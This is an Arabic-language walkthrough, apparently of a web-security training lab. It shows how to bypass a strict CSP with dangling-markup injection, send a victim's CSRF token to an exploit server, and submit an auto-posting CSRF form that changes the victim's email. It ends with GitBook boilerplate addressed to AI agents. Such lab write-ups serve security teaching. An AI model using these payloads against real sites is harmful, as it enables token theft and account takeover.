> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/xss/reflected-xss-protected-by-strict-csp-with-dangling-markup.md).

# XSS منعكس محمي بـ CSP صارم جدًا عبر استغلال العلامات المعلقة

### XSS منعكس محمي بسياسة CSP شديدة الصرامة، مع هجوم الترميز المتدلي

#### هدف المختبر

* نفّذ هجوم XSS يتجاوز سياسة CSP ويستخرج رمز CSRF لمستخدم مُحاكى (عبر Burp Collaborator).
* ثم استخدم هذا الرمز لتغيير عنوان البريد الإلكتروني للضحية إلى `hacker@evil-user.net`.
* يجب أن يحتوي المتجه الظاهر للضحية على الكلمة **انقر** (مثل `انقرني`) لتشجيعه على النقر عليه.
* حساب الاختبار: `wiener:peter`.

#### ملاحظات أولية

* في نموذج تحديث البريد الإلكتروني، تؤدي إضافة `?email=` إلى عنوان URL إلى التحكم في القيمة (`القيمة`) الخاصة بـ `البريد الإلكتروني` حقل الإدخال.

<figure><img src="/files/b66db85dc68b4ecff6464171a8f85a3f3658baef" alt=""><figcaption></figcaption></figure>

الحقل قابل لحقن وسوم HTML (أمثلة للاختبار):

* `test"><h1>test</h1>` → `<h1>` يتم حقنه وإرجاعه.

```html
test"><h1>test</h1>
```

<figure><img src="/files/c82289b42b002ba6447987c6a0941a71380d7232" alt="" width="422"><figcaption></figcaption></figure>

* `test"><script>alert(0)</script>` → `<script>` يظهر في النموذج ولكنه \*\*لا يتم تنفيذه\*\*.

```javascript
test"><script>alert(0)</script>
```

<figure><img src="/files/c31737dbf678b645ad4bc9efdf21d71f2a618dc8" alt="" width="429"><figcaption></figcaption></figure>

تشير وحدة تحكم المتصفح إلى حظرٍ بسبب سياسة الأمان:

{% hint style="danger" %}
Content-Security-Policy: قامت إعدادات الصفحة بحظر تنفيذ برنامج نصي مضمن (script-src-elem) لأنه ينتهك التوجيه التالي: “script-src 'self'”
{% endhint %}

<figure><img src="/files/a9c49fef4c8c0e4a69f8ab4242aa1e5ebd5ff1c0" alt=""><figcaption></figcaption></figure>

ترويسة CSP الملحوظة:

`content-security-policy`/ `default-src 'self';object-src 'none'; style-src 'self'; script-src 'self'; img-src 'self'; base-uri 'none';`

<figure><img src="/files/d518b80490c341458fc3e2413d13fe256379635a" alt=""><figcaption></figcaption></figure>

#### استراتيجية الهجوم (الترميز المتدلي)

* بدلاً من حقن `<script>` (المقفلة بواسطة CSP)، يُغلق النموذج الحالي ويتم إنشاء نموذج جديد\*\* مع `action` سمة تشير إلى خادم الاستغلال الخاص بنا (خادم الاستغلال). يحتوي هذا النموذج على زر باسم "انقرني" لتشجيع المستخدم على النقر.

مثال على حقن يُغلق النموذج وينشئ نموذجًا جديدًا (بتنسيق URL-encoded في إعادة التوجيه):

{% code overflow="wrap" %}

```javascript
test"></form><form class="login-form" name"change-email-form" action="https://exploit-0a0b002e04ca637f81f4ed8a01da00c2.exploit-server.net/exploit" method="GET"><button class="button" type="submit">انقرني</button
```

{% endcode %}

<figure><img src="/files/57840d9cd11f348dea0a4a830737f19cac07903b" alt=""><figcaption></figcaption></figure>

* من خلال فتح هذا الرابط من جهاز الضحية (مثلًا عبر إعادة التوجيه)، إذا نقر الضحية على الزر، فسيتم إرسال رمز CSRF في عنوان URL إلى خادم الاستغلال ويظهر في سجلات الخادم المقابل.

<figure><img src="/files/6f5723acac287c9c80dabf80dca7622adb8a558b" alt=""><figcaption></figcaption></figure>

#### مثال على إعادة توجيه محقونة (لإجبار المستخدم على الانتقال إلى صفحة عرضة للخطر مع الحمولة)

* برنامج نصي محقون على الجانب المهاجم لإعادة توجيه الضحية إلى صفحة الحمولة (عنوان URL مُرمَّز):

```javascript
<script>
location="https://0a4100a704a163818169ee1c00f10037.web-security-academy.net/my-account?email=test%22%3E%3C/form%3E%3Cform%20class=%22login-form%22%20name%22change-email-form%22%20action=%22https://exploit-0a0b002e04ca637f81f4ed8a01da00c2.exploit-server.net/exploit%22%20method=%22GET%22%3E%3Cbutton%20class=%22button%22%20type=%22submit%22%3EClick%20me%3C/button"
</script>
```

* بمجرد إعادة توجيه الضحية والنقر على الزر، يتم العثور على رمز CSRF في سجلات خادم الاستغلال.

<figure><img src="/files/23da8afe37ef5020128fa1ea6745ae9c8c69d190" alt=""><figcaption></figcaption></figure>

#### عملية ما بعد الاستخراج: استخدام رمز CSRF لتغيير البريد الإلكتروني

* بعد الحصول على رمز CSRF (من سجلات خادم الاستغلال)، يتم إنشاء صفحة HTML ترسل طلب POST إلى `/my-account/change-email` باستخدام:
* `email = hacker@evil-user.net`
* `CSRF = <token_obtenu>`

<figure><img src="/files/aae235fd8c3d9e51c19e4c2b10566bb176790cd5" alt="" width="563"><figcaption></figcaption></figure>

مثال على PoC HTML مُولَّد (بواسطة Burp أو يدويًا) لتنفيذ طلب POST آلي

<figure><img src="/files/f7aa28a90a708f63bef284ed3b2eb923e05c45b0" alt=""><figcaption></figcaption></figure>

```html
<html>
  <body>
    <form action="https://0a4100a704a163818169ee1c00f10037.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacker@evil-user.net" />
      <input type="hidden" name="csrf" value="L0joiDIMrKKrO7jkqiC6sLYR5MNEbUfu" />
      <input type="submit" value="إرسال الطلب" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/xss/reflected-xss-protected-by-strict-csp-with-dangling-markup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
